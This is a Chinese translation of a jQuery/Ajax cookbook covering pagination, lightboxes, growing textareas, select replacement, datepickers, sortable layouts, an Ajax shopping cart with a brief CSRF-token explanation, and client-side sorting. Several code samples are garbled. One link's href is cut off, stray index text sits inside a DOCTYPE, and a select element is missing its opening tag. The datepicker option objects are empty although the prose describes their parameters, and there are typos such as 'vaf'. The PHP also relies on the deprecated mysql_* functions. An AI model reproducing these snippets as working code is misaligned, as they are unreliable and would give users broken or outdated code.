'name' varchar(255) default NULL,
'bio' TEXT default NULL,
PRIMARY KEY ('id')
) TYPE=MyISAM;

如何做...

我们创建了一个简单的分页,通过查询字符串传递页码。在这里,我们使用了数据库连接语句来连接和选择users表的数据库。在每一页中,我们设置了代码只加载10条记录。在这段代码中,我们将模板与编程逻辑混合使用:

<?php
// DB connections...
$con = mysql_connect('localhost', 'db_user', 'db_password');
mysql_select_db('db_name', $con);
// Pager logic...
$records_per_page = 10;
$page = isset($_GET['page']) ? intval($_GET['page']) : 1;
$nextpage = $page + 1;
$offset = $records_per_page * ($page -1);
// Ajax call?
$_isAjax = isset($_SERVER['HTTP_X_REQUESTED_WITH']) &&
($_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest');

// Query...
$sql = 'SELECT * from users LIMIT '.$offset. ', '. $records_per_page;
$result = mysql_query($sql, $con);
// Template...
if (!$_isAjax):
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html >
<head>
<script type="text/javascript" src="js/jquery.js"></script>
<script type="text/javascript" src="js/script.js"></script>
<title>Pageless paging</title>
</head>
<body>
<h1>Users and Bio</h1>
<div id="users">
<?php
endif;
while($row = mysql_fetch_assoc($result)):
?>
<h2><?php echo htmlspecialchars($row['name']);?></h2>
<p><?php echo htmlspecialchars($row['bio']);?></p>
<?php
endwhile;

?>

<a id="next" href="http://

Load next page</a>
<?php
if (!$_isAjax):
?>
</div>
</body>
</html>
<?php
endif;
?>

对于 JavaScript 部分,我们只需简单调用,不需要其他插件:

jQuery(document).ready(function($) {
$('#users').delegate('#next', 'click', function() {
$(this).html('Loading...'); // Loader message
$.ajax( {
url: this.href, // URL from next link
success: function(data) {
$('#next').after(data).remove();
}
});
return false;
});
});

它是如何工作的...

这个简单的设置甚至不需要任何插件。在 PHP 代码中,我们通过 MySQL 的LIMIT语法列出了$records_per_page条记录。此外,当通过嗅探HTTP_X_REQUESTED_WITH进行 Ajax 调用时,代码输出不带头部和页脚的 HTML。为了简洁起见,我们使用了模板的基本语法。在 JavaScript 代码中,我们使用了delegate()。这是因为加载下一页链接是动态加载的——否则,我们可以使用click()方法。请注意,click()只对页面上现有的元素起作用,而delegate()将对页面上已经存在的元素以及将来创建的元素起作用。delegate()方法优雅地处理事件委托,并且是click()的一个简单替代。除了分页逻辑和对 Ajax 调用的选择性输出之外,使用事件委托来使动态加载的链接响应click事件(JavaScript 中的核心逻辑)非常简单——调用$.ajax()。还要注意,我们的代码在 JavaScript 不可用时可以通过页面刷新来工作,因此可以很好地降级。

还有更多...

要测试无页面分页,我们可能需要生成虚拟数据。一些编程框架内置支持生成测试数据。也有在线工具可用。

  • 生成数据

在线服务 GenerateData 位于www.generatedata.com/,是一个非常好用的工具,可以生成样本测试数据。

使用 Lightbox 加载图像

在 Ajax 中,Lightbox 是一个非常有用的概念,点击链接的内容,或者图像,或视频加载到容器窗口中,而不会将用户带到单独的页面。Lightbox 还将页面上找到的一组图像转换为容器窗口中的幻灯片放映。原始的 Lightbox 脚本是在 Prototype 框架中编写的。在 jQuery 中,有很多实现可用。然而,ColorBox 插件以更好的用户界面和功能领先。在这个教程中,我们将看到如何使用 ColorBox 插件来改进 Lightbox。

注意

Lightbox 概念是由 Lokesh Dhakar 引入的。关于这个更多的细节可以在他的网站www.lokeshdhakar.com/projects/lightbox2/上找到。

准备工作

我们需要从colorpowered.com/colorbox/获取 ColorBox jQuery 插件以及 jQuery 核心库。

如何做...

ColorBox HTML 标记仅仅是一组图像链接。我们通过无序列表列出了图像链接。

如何做...

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html >
<head>
<link rel="stylesheet" type="text/css" href="styles/colorbox.css" />
<script type="text/javascript" src="js/jquery.js"></script>
<script type="text/javascript" src="js/jquery.colorbox-min.js"></script>
<script type="text/javascript" src="js/script.js"></script>
<title>Lightbox - ColorBox</title>
</head>
<body>
<ul id="colorbox">
<li><a href="http://uscites.gov/sites/default/files/African%20Elehant%203.jpg" title="Elephant">Elephant</a></li>
<li><a href="http://uscites.gov/sites/default/files/elephant%202.jpg" title="Elephant">Elephant</a></li>
<li><a href="http://uscites.gov/sites/default/files/elephant1.jpg" title="Elephant">Elephant</a></li>
<li><a href="http://uscites.gov/sites/default/files/Tim%20Knepp%20African%20Elephant001_0.jpg" title="Elephant">Elephant</a></li>
<li><a href="http://uscites.gov/sites/default/files/African%20Elephant%201.jpg" title="Elephant">Elephant</a></li>
<li><a href="http://uscites.gov/sites/default/files/African%20Elephant%202.jpg" title="Elephant">Elephant</a></li>
<li><a href="http://uscites.gov/sites/default/files/elephant_bull_amboseli_best.jpg" title="Elephant">Elephant</a></li>
<li><a href="http://uscites.gov/sites/default/files/elephant_pano3.jpg" title="Elephant">Elephant</a></li>
</ul>
</body>
</html>

与其他 jQuery 插件类似,只需通过选择器触发:

jQuery(document).ready(function($){
$('#colorbox a').colorbox();
});

这会导致图像在 ColorBox 叠加中加载,如前面的屏幕截图所示。

它是如何工作的...

原则上,Lightbox 脚本会迭代所有挂接的链接,并阻止它们在页面刷新时加载。在这里,我们列出了一个无序列表中的一组图像链接,然后将它们附加到colorbox()调用。ColorBox 首先形成了用于加载图像的叠加容器。ColorBox 尺寸采用以下默认值,并可以通过参数设置进行覆盖:

width: false,
initialWidth: "600",
innerWidth: false,
maxWidth: false,
height: false,
initialHeight: "450",
innerHeight: false,
maxHeight: false,

默认选项下,ColorBox 没有启用自动幻灯片放映功能。要启用自动幻灯片放映,代码如下:

$('#colorbox a').colorbox( {
         slideshow: true
});

ColorBox 主题可以通过 CSS 轻松更改,它已经带有五种不同的样式。

还有更多...

通常会发现对于相同功能有多种实现,因为开发人员有时会因对现有实现不满而开始新项目。出于同样的原因,我们有许多 Lightbox 实现可用,例如以下内容:

  • Lightbox 克隆矩阵:

Lightbox 克隆矩阵,可在planetozh.com/projects/lightbox-clones/上找到,显示了各种 Lightbox 实现之间的比较。

  • SlimBox 2:

这是另一种 Lightbox 实现。最初在 Mootools 框架中编写的原始 SlimBox 实现因其轻量级而受到很高评价。后来,在第 2 版中,作者将他的代码移植到了 jQuery 中—www.digitalia.be/software/slimbox2。它在功能和 HTML 标记方面与 Lokesh Dhakar 的原始 Lightbox 完全兼容。因此,我们可以通过更改 JavaScript 库路径来快速将原始 Lightbox 替换为它。

使用 jGrow 插件增长 textarea

在 Web 浏览器中,textarea元素的高度和宽度通过rowscols属性或通过heightwidthCSS 属性进行控制。当我们在textarea中输入更多文本时,上方的文本将向上移动,留下滚动条。为了改进textarea的 UI,一些 Ajax 专家已经使textarea在输入更多文本时增长。在这个教程中,我们将看到如何使用 jGrow 插件来获得这样一个增长的textarea

准备就绪

我们需要从lab.berkerpeksag.com/jGrow获取 jGrow jQuery 插件以及 jQuery 核心库。

如何做到...

在这里,我们使用了一个简单的带有设置idtextarea,以便可以轻松地与 jQuery 选择器连接。

如何做到...

以下是 HTML 标记:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
textareagrowing, jGrow plugin used"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html >
<head>
<script type="text/javascript" src="js/jquery.js"></script>
<script type="text/javascript" src="js/jquery.jgrow.js"></script>
<script type="text/javascript" src="js/script.js"></script>
<title>Growing textarea - jGrow</title>
</head>
<body>
<form action="submit.php" method="post">
<textarea name="description" id="description" cols="40" rows="4"></textarea>
<br />
<input name="submit" id="submit" value="Submit" type="submit" />
</form>
</body>
</html>

同样,我们通过textareaid值附加了插件:

jQuery(document).ready(function($){
         $('#description').jGrow();
});

它是如何工作的...

当连接到textarea时,jGrow 插件会在文本区域上方创建一个div元素,并开始保存输入文本。这样可以通过 CSS 属性更容易地控制高度。在每次keyup事件上,都会进行新的 jGrow 调用来触发,从而在必要时增加高度。

它还有一个选项来限制增长的高度,以便它不会超出指定的高度:

$('#description').jGrow({

         max_height:'250px'
});

还有更多...

改进textarea的 UI 将提高可用性。在 jQuery 生态系统中有类似的插件可用。其中之一是autoGrowInput。就像我们有一个增长的textarea一样,有时候我们可能想要一个增长的输入框。在这种情况下,我们可以使用这个插件,该插件可在stackoverflow.com/questions/931207/is-there-a-jquery-autogrow-plugin-for-text-fields上找到。

替换 select 下拉框的 HTML

改进表单选择下拉框的 UI 是一个有趣的话题。例如,除了 Internet Explorer 之外,其他 Web 浏览器支持对select元素中的每个选项进行样式设置。这对我们来说非常有帮助,特别是当我们在selectbox中列出国家时,需要显示国家旗帜和国家名称。由于在 Internet Explorer 中无法直接对option元素进行样式设置,因此一种方法是将其替换为带有锚定的有序/无序列表,以便对每个列表进行样式设置。在这个教程中,我们将研究这种 HTML 替换方法。

准备就绪

我们需要从github.com/fnagel/jquery-ui获取 jQuery UI selectmenu 插件以及 jQuery UI 核心。

如何做到...

要完成此操作的 HTML 标记是一个带有select元素的简单表单。请注意,我们将使用 jQuery UI selectmenu 插件将select元素转换为无序列表,并通过 CSS 进行样式设置。

如何做到...

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html >
<head>
<link rel="stylesheet" type="text/css" href="http://themes/base/jquery.ui.all.css" />
<link rel="stylesheet" type="text/css" href="http://themes/base/ui.selectmenu.css" />
<script type="text/javascript" src="js/jquery.js"></script>
<script type="text/javascript" src="js/ui/jquery.ui.core.js"></script>
<script type="text/javascript" src="js/ui/jquery.ui.widget.js"></script>
<script type="text/javascript" src="js/ui/ui.selectmenu.js"></script>
<script type="text/javascript" src="js/script.js"></script>
<title>jQuery UI selectmenu</title>
</head>
<body>
<form action="submit.php" action="post">
<label for="jslib">Choose JavaScript framework:</label>
<option value="jQuery" selected="selected">jQuery</option>
<option value="Mootools">Mootools</option>
<option value="ExtJs">ExtJs</option>
<option value="YUI">YUI</option>
</select>
<br />
<input name="submit" id="submit" value="Submit" type="submit" />
</form>
</body>
</html>

当我们将 jQuery UI selectmenu 附加到select元素时,它会被替换为一个无序列表。

jQuery(document).ready(function($){
         $('#jslib').selectmenu();
});

它是如何工作的...

正如前面提到的,至少目前来看,易于样式化更可能出现在有序/无序列表中,而不是在选择框中,特别是在 Internet Explorer 中。当选择框附加到插件时,它会遍历选择选项并创建一个无序选项列表。它还会隐藏原始的选择框。为了模仿选择框的其余效果,所有选择和高亮都是通过 JavaScript 在无序列表上处理的。

由于这个插件符合 jQuery UI,它为这个插件带来了相同的主题化能力。我们可以像其他 jQuery UI 元素一样对其应用主题。

还有更多...

有一些特殊情况,我们将被迫使用选择框替换。这在我们针对更多的浏览器时可能会经常发生。

  • 选项图标:

当尝试在选项旁边放置图标时,我们需要这个替代。一些示例情况包括:在国家下拉菜单中包含国家旗帜图标,在用户下拉菜单中包含用户头像等。

  • Chosen:

这个选择框替换插件转换了单个选择框 UI,使其可以像自动完成一样进行搜索。对于多选选择框,它会转换为 delicious.com 的标签输入 UI。它可以在 http://harvesthq.github.com/chosen/上找到。

通过日期选择器改进日期选择

日期选择器或日历小部件是任何 Web 2.0 网站的一部分。它有助于快速可视地选择日期,从而避免用户在特定格式中输入日期时出现错误。jQuery UI 提供了一个日期选择器插件,可以应用主题。在这个教程中,我们将看到如何在任何网站中使用或集成这个日期选择器。

准备工作

我们需要从jqueryui.com/获取 jQuery UI,其中包含日期选择器组件。

如何做...

要获得日期选择器小部件,我们创建一个日期输入字段来获取出生日期。我们将nameid属性设置为dob

如何做...

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html >
<head>
<link rel="stylesheet" type="text/css" href="http://themes/base/jquery.ui.all.css" />
<script src="js/jquery.js"></script>
<script src="js/ui/jquery.ui.core.js"></script>
<script src="js/ui/jquery.ui.widget.js"></script>
<script src="js/ui/jquery.ui.datepicker.js"></script>
<script type="text/javascript" src="js/script.js"></script>
<title>jQuery UI Datepicker</title>
</head>
<body>
<form action="submit.php" method="post">
<input name="dob" id="dob" type="text" /><br />
<input name="submit" id="submit" value="Submit" type="submit" />
</form>
</body>
</html>

当使用datepicker()调用触发dob输入字段时,它会附加日历小部件。当单击输入字段时,日历小部件会弹出:

jQuery(document).ready(function($){

         $('#dob').datepicker();
});

它是如何工作的...

当附加到任何input元素上时,jQuery UI 日期选择器插件会创建一个动态日历小部件。在其默认行为中,当触发附加的输入文本框时,它会弹出。它极大地提高了选择日期的可用性。

我们可以通过将其挂钩到div标签来获得内联日历:

<div id="datepicker"></div>

也可以通过设置numberOfMonths参数在日历中显示更多月份:

$('#dob').datepicker({
});

同样,我们也可以限制日期到特定范围:

$('#dob').datepicker( {
});

在前面的情况下,可以选择的日期范围从“当前日期后 2 天”到“当前日期后 1 个月 15 天”。

默认情况下,日期格式使用美国格式 mm/dd/yy。可以使用dateFormat参数更改为另一种格式,比如 ISO 格式,如下所示:

$('#dob').datepicker( {
});

还有更多...

我们有非常好的 jQuery 插件来选择日期。以下是一些有用的日期选择器插件:

  • 连续日历:

这个插件以连续格式列出日历,使得跨月选择日期更容易。它可以在old.laughingpanda.org/mediawiki/index.php/Continuous_calendar上找到。

  • wdCalendar:

这个插件不是用于选择日期的,而是类似于 Google 日历的完整日历应用程序。它可以在www.web-delicious.com/jquery-plugins/上找到 PHP 服务器脚本。

拖放功能

拖放功能是现代 Web 的一个重要特性。它是在网站上移动对象的能力。在这个任务中,我们将学习如何使用jQuery.sortable()构建一个漂亮的拖放布局。

准备工作

首先,我们需要下载带有 jQuery UI 的 jQuery 库,并在</body>标签之前包含它们:

<script src="js/jquery-1.4.4.js"></script>
<script src="js/jquery-ui-1.8.11.custom.min.js"></script>

在这个例子中,我们将使用从互联网上下载的随机图片(首选尺寸为 200x80 像素)。

如何做...

  1. 当 jQuery 库与 jQuery UI 准备就绪时,我们可以开始使用 HTML。我们将构建四个主要的div元素:top, sidebar, sidebar2mainContent。每个都包括一个sortable列表:
<div id="page">
<div id="top">
<ul class="sortable">
<li id="news"><h2>News</h2></li>
<li id="about"><h2>About</h2></li>
<li id="contact-us"><h2>Contact Us</h2></li>
</ul>
</div>
<div id="sidebar">
<ul class="sortable">
<li id="item1">
<div class="imgContainer">
<img src="images/p2.jpg" /></div>
<h2>Sidebar Item 1</h2>
</li>
<li id="item...">...</li>
<li id="item3">
<div class="imgContainer">
<img src="images/p2.jpg" /></div>
<h2>Sidebar Item 3</h2>
</li>
</ul>
</div>
<div id="mainContent">
<ul class="sortable">
<li id="milan">
<div class="imgContainer">
<img src="images/p2.jpg" /></div>
<h2>Milan Sedliak</h2>
<p>Web designer, jQuery guru, front end psycho</p>
</li>
<li id="...">...</li>
<li id="james">
<div class="imgContainer">
<img src="images/p2.jpg" /></div>
<h2>James Watt</h2>
<p>Scottish inventor and mechanical engineer</p>
</li>
</ul>
</div>
<div id="sidebar2">
<ul class="sortable">
<li id="item4">Sidebar Item 4</li>
<li id="item5">Sidebar Item 5</li>
</ul>
</div>
</div>

  1. 现在需要应用 CSS 样式:
<style>
#page { width:900px; margin:0px auto; }
#top, #sidebar, #sidebar2 { display:block; }
#top { width:100%; min-height:50px; border: 1px solid #000000; overflow:hidden; margin-bottom:10px; }
#sidebar { clear:both; float:left; width:190px; }
#sidebar2 { float:right; width:190px; }
#mainContent { float:left; width:500px; margin-left:10px; }
ul li { background-color: #FFFFFF; border: 1px solid #000000;
cursor: move; display: block; font-weight: bold;
list-style:none; margin-bottom: 5px; padding: 20px 0;
text-align: center; }
#top ul li { width: 200px; float:left; border:none; }
#top p { display: none; }
.imgContainer { display:none; }
.placeholder { background-color: #E2F2CE;
border: 1px dashed #000000; }
#mainContent ul li { text-align: left; height:80px; }
#mainContent p { font-weight: normal; }
#mainContent h2, #mainContent p { margin-left:200px; }
#mainContent .imgContainer { display:block; overflow:hidden;
float:left; width:150px; height:70px; margin-left:20px; }
</style>

  1. 当 HTML 和 CSS 准备就绪时,我们可以看到以下结果:如何做...

  2. 现在我们有了漂亮的静态布局。让我们从 JavaScript 开始:

<script>
$(document).ready(function(){
$('#sidebar ul, #top ul, #sidebar2 ul, #mainContent ul')
.sortable({
connectWith: '.sortable',
placeholder: 'placeholder'
});
});
</script>

  1. 应用这个简单的功能后,我们的结果将如下所示:如何做...

它是如何工作的...

主要的魔术发生在sortable函数内部。我们正在将可排序功能绑定到文档中的所有列表,如下所示:

$('#sidebar ul, #top ul, #sidebar2 ul, #mainContent ul')

.sortable();

我们正在将它们连接在一起,以便能够将一个项目从一个列表移动到另一个列表,如下所示:

connectWith: '.sortable'

当对象靠近其中一个可排序的列表时,我们可以看到占位符(带有虚线边框的绿色分区)的帮助下placeholder: 'placeholder'

还有更多...

在网站上移动对象确实很好,但如果没有保存当前位置的能力,它就不那么有用。现在,我们将学习如何将这些信息存储在 cookies 中,以及在需要时如何读取它们。我们将使用来自plugins.jquery.com/project/Cookie的 jQuery Cookie 插件,如下所示:

<script src="js/jquery.cookie.js"></script>

我们还将使用 Ajax 在服务器端保存布局信息的可能性,如下所示:

  • 保存物品:

我们可以创建一个getItems()函数,来查找文档中的每个未排序列表,将其 ID 保存为 groupName,并找到与该组相关的所有项目。结果将是以"group1=item1,item2&group2=item3,item4,..."形式的字符串items

function getItems(){
var items = [];
$('ul').each(function(){
var groupName = $(this).parent().attr('id');
var groupItems = $(this).sortable('toArray')
.join(',').toString();
var item = groupName + '=' + groupItems;
items.push(item);
});
return items.join('&');
}

一旦我们知道如何获取所有的物品,我们就想要将它们保存在 cookies 中。为此,我们将在sortable函数中使用update方法:

$('#sidebar ul, #top ul, #sidebar2 ul, #mainContent ul')
sortable function.sortable({
connectWith: '.sortable',
placeholder: 'placeholder',
update: function(){
$.cookie('items', getItems());
$.ajax({
type: "POST",
url: "ajax/saveLayout.php",
data: { items: getItems()},
success: function(data) {
if(data.status=="OK"){
// processing the further actions
} else {
// some logic for error handling
}
}
});
}
});

我们的ajax/saveLayout.php文件可能如下所示:

<?php
if($_POST["items"]){
// logic for saving items
...
$result["status"] = "OK";
$result["message"] = "Items saved...";
echo json_encode($result);
}
?>

  • 加载物品:

加载物品与反转getItems函数相同。首先,我们需要从 cookies 中读取items,它们以字符串的形式存储在那里。我们将通过'&'拆分这个字符串成组,通过'='拆分成组名和项目数组,通过,拆分成单独的项目。当我们有项目列表时,我们将它们按组名拆分成列表。如果项目没有存储在 cookies 中,我们将从服务器加载它们(ajax/getLayout.php)。

function renderItems(){
if($.cookie('items')!=null){
var items = $.cookie('items');
var groups = items.split('&');
} else {
$.ajax({
type: "POST",
url: "ajax/getLayout.php",
data: {},
success: function(data) {
if(data.status=="OK"){
var items = data.items;
var groups = items.split('&');
} else {
// some logic for error handling
}
}
});
}
for(var key in groups){
var group = groups[key]; // top=item1,item2,item3
var groupArray = group.split('=');
var groupName = groupArray[0]; // top
var groupItemsArray = groupArray[1].split(',');
// item1,item2,item3
for(var itemKey in groupItemsArray){
$('#'+groupItemsArray[itemKey])
.appendTo($('#'+groupName+'>ul'));
}
}
}

ajax/getLayout.php示例文件将如下所示:

<?php
if($_POST){
// logic to retreive items
...
$result["status"] = "OK"; // OK
$result["items"] = "top=news,about,contact-us&sidebar=item2,item3&mainContent=milan-sedliak,albert-einstein,item1,james-watt&sidebar2=item4,item5";
echo json_encode($result);
}
?>

renderItems()函数可以由renderButton上的click事件触发:

$('#renderButton').click(function(){
renderItems();});

Ajax 购物车

购物车在电子商务网站中扮演着重要的角色。在这个任务中,我们将学习如何使用 Ajax 功能构建一个购物车,以提供最佳的用户体验。这个任务的结果将如下截图所示:

Ajax 购物车

准备工作

我们为这个任务所需要的只是最新的 jQuery 库和一个样本.php文件,ajax/shopping-cart.php

这个脚本将提供基本的服务器功能来检索和接收数据:

<?php
if($_POST["productID"] && $_POST["action"]){
$productID = $_POST["productID"];
$action = $_POST["action"];
switch($action){
default:
$result["status"] = "ERROR";
$result["message"] = "Product has been added to the shopping cart.";
break;
case "add":
// logic for adding a product to the shopping cart
$result["status"] = "OK";
$result["message"] = "Product has been added to the shopping cart.";
break;
case "delete":
// logic for removing a product from the shopping cart
$result["status"] = "OK";
$result["message"] = "Product has been removed from the shopping cart.";
break;
}
} else {
$result["status"] = "ERROR";
$result["message"] = "Missing required data";
}
echo json_encode($result);

如何做...

  1. 让我们从 HTML 开始:
<div id="page">
<div id="shoppingCartContainer">
<h1>Your Basket:</h1>
<ul id="shoppingCart">
<li id="incart-product-template">
{productname} (<span>$</span>
<span class="value">{price}</span>)
<input type="button" value="delete" />
</li>
<li id="incart-product3">Product 3 (<span>$</span>
<span class="value">35</span>)
<input type="button" value="delete" /></li>
<li id="incart-product4">Product 4 (<span>$</span>
<span class="value">12</span>)
<input type="button" value="delete" /></li>
<li id="total">Total: $<span>47</span></li>
</ul>
</div>
<div id="productListContainer">
<ul id="productList">
<li id="product1">
<h1>Product 1</h1>
<div class="productPrice">
<span class="currency">$</span>
<span class="value">95</span></div>
<input type="button" value="Buy" />
</li>
<li id="product2">
<h1>Product 2</h1>
<div class="productPrice">
<span class="currency">$</span>
<span class="value">34</span></div>
<input type="button" value="Buy" />
</li>
<li id="product3">
<h1>Product 3</h1>
<div class="productPrice">
<span class="currency">$</span>
<span class="value">66</span></div>
<input type="button" value="Buy" />
</li>
</ul>
</div>
</div>

  1. 现在,我们需要包含我们的 CSS:
<style>
* { margin:0px; padding:0px; }
body { font-family: Arial, sans-serif; font-size: 16px; }
h1 { font-size:18px; padding: 10px 0; }
ul li { list-style:none; }
#page { width:900px; margin:20px auto; }
#productList li { float:left; width:200px;
text-align:center; }
#productListContainer { float:left; }
#shoppingCartContainer { float:right; }
#shoppingCart { width: 200px; }
#shoppingCart li { height:20px; }
#shoppingCart li span { color:#A3A3A3; font-weight:normal; }
#shoppingCart li#total { border-top:1px solid gray;
margin-top:5px; padding-top:5px; text-align:right; }
#shoppingCart li#total span { color:#000; font-weight:bold; }
#shoppingCart span { width:50px; font-weight:bold; }
#shoppingCart input[type=button] { float:right; }
#incart-product-template { display:none; }
</style>

  1. 最后,但最重要的是 JavaScript 功能:
<script src="js/jquery-1.4.4.js"></script>
<script>
$(document).ready(function(){
// product list functionality
$('#productList > li > input[type=button]')
.live('click', function(){
var $this = $(this).parents('li');
var productID = $this.attr('id');
var productName = $this.find('h1').html();
var productPrice =
$this.find('.productPrice .value').html();
var productCurrency =
$this.find('.productPrice .currency').html();
$.ajax({
type: "POST",
url: "ajax/shopping-cart.php",
data: { productID: productID, action: "add"},
success: function(data) {
if(data.status=="OK"){
var $item = $('#incart-product-template').clone();
var itemHTML = $item.html();
itemHTML =
itemHTML.replace(/{productname}/gi, productName);
itemHTML =
itemHTML.replace(/{price}/gi, productPrice);
$item.html(itemHTML);
$item.attr('id', productID);
$item.show()
.insertBefore($('#shoppingCart li#total'));
displayTotalPrice();
} else {
// some logic for error handling
}
}
});
});
// shopping cart functionality
$('#shoppingCart li input[type=button]')
.live('click', function(){
var $item = $(this).parents('li');
var itemID = $item.attr('id');
$.ajax({
type: "POST",
url: "ajax/shopping-cart.php",
data: { productID: itemID, action: "remove"},
success: function(data) {
if(data.status=="OK"){
$item.remove();
displayTotalPrice();
} else {
// some logic for error handling
}
}
});
});
});
// calculate the total price
var displayTotalPrice = function(){
var totalPrice = 0;
$('#shoppingCart
li:not(#incart-product-template)
span.value')
.each(function(){
totalPrice += parseInt($(this).html());
});
$('#shoppingCart #total span').html(totalPrice);
}
</script>

它是如何工作的...

Ajax 购物车功能有两个主要部分。第一部分处理产品列表。每个产品项都有一个Buy按钮,我们可以将click事件与将产品添加到购物车的功能绑定在一起:

$('#productList > li > input[type=button]')
.live('click', function(){
var $this = $(this).parents('li');
var productID = $this.attr('id');
var productName = $this.find('h1').html();
var productPrice =
$this.find('.productPrice .value').html();
var productCurrency =
$this.find('.productPrice .currency').html();

第二部分是购物车本身。默认情况下,它包括incart-product-template。此模板用于基于产品列表中选择的产品构建产品。

itemHTML = itemHTML.replace(/{productname}/gi, productName);

还有更多...

在电子商务网站中,我们需要非常小心地保护我们的数据。我们可以准备的攻击之一是跨站请求伪造(CSRF)。CSRF 是一种欺骗受害者加载包含恶意请求的特定页面的攻击。该页面的行为类似于一个喜爱的网站(例如我们的电子邮件提供商),等待我们的请求(更改密码,发送电子邮件),并试图获取敏感数据。

保护我们的网站免受 CSRF 攻击的最佳策略是在我们的请求中使用 CSRF 令牌。我们可以为用户生成一个唯一的令牌并将其存储在会话中。当请求中提供的令牌与会话中存储的令牌匹配时,我们可以接受该请求。如果不匹配,我们将拒绝它。

要在我们的源代码中使用这个令牌,我们需要在 JavaScipt 中使其可用:

var csrf_token = '<%= token_value %>';

然后,我们将在我们的 jQuery 源中包含一个额外的csrf_token后参数:

$.ajax({
type: "POST",
url: "ajax/shopping-cart.php",
data: {
productID: itemID,
action: "remove",
token: csrf_token
},
success: function(data) {
// our jQuery code
}
});

排序和过滤数据

通常,对数据进行排序和过滤的最佳位置是数据库。但有时,我们需要仅在客户端处理给定的数据。例如,过滤简单的联系人列表或对小型数据网格进行排序。在这个任务中,我们将学习如何在客户端对数据进行过滤和排序。

准备工作

我们需要 jQuery 库:

<script src="js/jquery-1.4.4.js"></script>

我们还需要从json/developers.json中获取 JSON 格式的数据样本:

[{
"fullname" : "Hefin Jones",
"contactlocation" : "St David's, Wales",
"labels" : "MS SQL, DBA"
},
...
{
"fullname" : "Raphaël Gabbarelli",
"contactlocation" : "Rome, Italy",
"labels" : ".Net(C#), Windows Phone 7"
}]

如何做...

  1. 一开始,我们将使用searchPlaceHolderdatalist构建 HTML 代码,如下面的代码片段所示:
<div class="searchPlaceHolder">
<label for="search" style="">Type to Search: </label>
<div class="loader hidden"></div>
<input type="text" autocomplete="OFF" class="search" name="search" id="search">
</div>
<div class="hidden" id="contactItemTemplate">
<li>
<div>
<h1>{fullname}</h1>
<p>{contactlocation}</p>
</div>
<a href="#">{labels}</a>
</li>
</div>
<ul class="datalist">
</ul>

  1. 我们将使用一些巧妙的 CSS:
<style>
body {
font-family: Georgia,"Times New Roman",Times,serif;
font-size: 12px; font-weight: 400; font-style: normal;
color: #60493E; }
ul li { list-style:none; padding:0px; margin:0px; }
a { color: #0181E3; text-decoration:none; }
p { padding:0px; margin:0px; }
h1 {
font: 14px/125% 'Copse',Georgia,serif;
letter-spacing: -0.03em; font-weight: 400;
font-style: normal; color: #8F0206;
text-shadow: 0 2px 0 #FCF9EE, 0 2px 0 rgba(0, 0, 0, 0.15);
margin-bottom:0px;
}
datasorting.hidden { display:none; }
.searchPlaceHolder { position:relative; z-index:0; }
.searchPlaceHolder .loader {
background: url("./images/loader-grey-on-transparent.gif") no-repeat scroll 0 0 transparent; height: 40px; position: absolute; right: 10px; top: 6px; width: 40px; z-index: 50;}
.search { width:300px; }
</style>

  1. 当 HTML 和 CSS 准备好后,我们可以开始使用 JavaScript:
<script>
var developers = [];
$(document).ready(function(){
// get json data from the server
$.get('/json/developers.json', function(data) {
if(data){
developers = data;
// sort data
developers = developers.sort(function(a, b){
var nameA=a.fullname.toLowerCase(),
nameB=b.fullname.toLowerCase();
if (nameA < nameB) //sort string ascending
return -1
if (nameA > nameB)
return 1
return 0 //default return value (no sorting)
});
initContacts();
}
}, "json");
initSearch();
});
var initContacts = function(searchString){
var searchString = searchString || "";
var items="";
var contactItemTemplate = $('#contactItemTemplate').html();
for(var i in developers){
var fullname = developers[i].fullname || "";
var contactlocation = developers[i].contactlocation || "";
var labels = developers[i].labels || "";
if(searchString!=""){
var targetString = fullname + contactlocation + labels;
if(targetString.indexOf(searchString) >= 0){
items += contactItemTemplate
.replace(/{fullname}/g, fullname)
.replace(/{contactlocation}/g, contactlocation)
.replace(/{labels}/g, labels);
}
} else {
items += contactItemTemplate
.replace(/{fullname}/g, fullname)
.replace(/{contactlocation}/g, contactlocation)
.replace(/{labels}/g, labels);
}
}
$('.datalist').html(items);
}
var initSearch = function(){
var timerId;
$('.search').keyup(function() {
var string = $(this).val();
clearTimeout (timerId);
timerId = setTimeout(function(){
initContacts(string);
}, 500 );
})
}
</script>

  1. 当一切准备就绪时,我们的结果如下所示:如何做...

它是如何工作的...

document.ready事件中,我们向服务器请求数据。这些数据保存为developers对象,并按每个开发人员的全名进行排序。

一旦从服务器检索到数据对象,我们调用initContacts()函数。该函数处理开发人员对象并在数据列表中创建开发人员列表。当用户输入搜索词时,搜索字符串变量被填充。这会触发开发人员列表的刷新,仅显示那些名字、位置或标签包含完全匹配搜索字符串的开发人员。

还有更多...

在前面的示例中,数据的排序仅适用于字符串。如果我们想要按整数或日期进行排序,我们必须创建新的排序函数:

  • 按整数排序:

这是一个按整数排序的示例函数(升序):

theArray.sort(function(a, b){
return a.age-b.age;});

  • 按日期排序:

在这里,数据按日期排序:

theArray.sort(function(a, b){
var dateA=new Date(a.startingDate);
vaf dateB=new Date(b.startingDate);
return dateA-dateB;
});

添加视觉效果和动画

jQuery 最大的优势在于它能够与 DOM 一起工作,并创建整洁的效果和动画。在这个任务中,我们将学习如何创建我们自己的图像/内容滑块,并能够动态加载图像。

准备工作

我们需要准备一些示例图片并将它们保存到我们的images文件夹中。当然,我们还需要 jQuery 库。

如何做...

  1. 像往常一样,我们将从 HTML 代码开始:
<div class="slideBox">
<div id="slider1" class="mslider">
<ul>
<li title="1.jpg"></li>
<li title="2.jpg"></li>
<li title="3.jpg"></li>
<li title="5.jpg"></li>
</ul>
<div class="navContainer">
<div class="buttonsContainer">
<span class="btnPrev button">Prev</span>
<span class="btnNext button">Next</span>
</div>
</div>
</div>
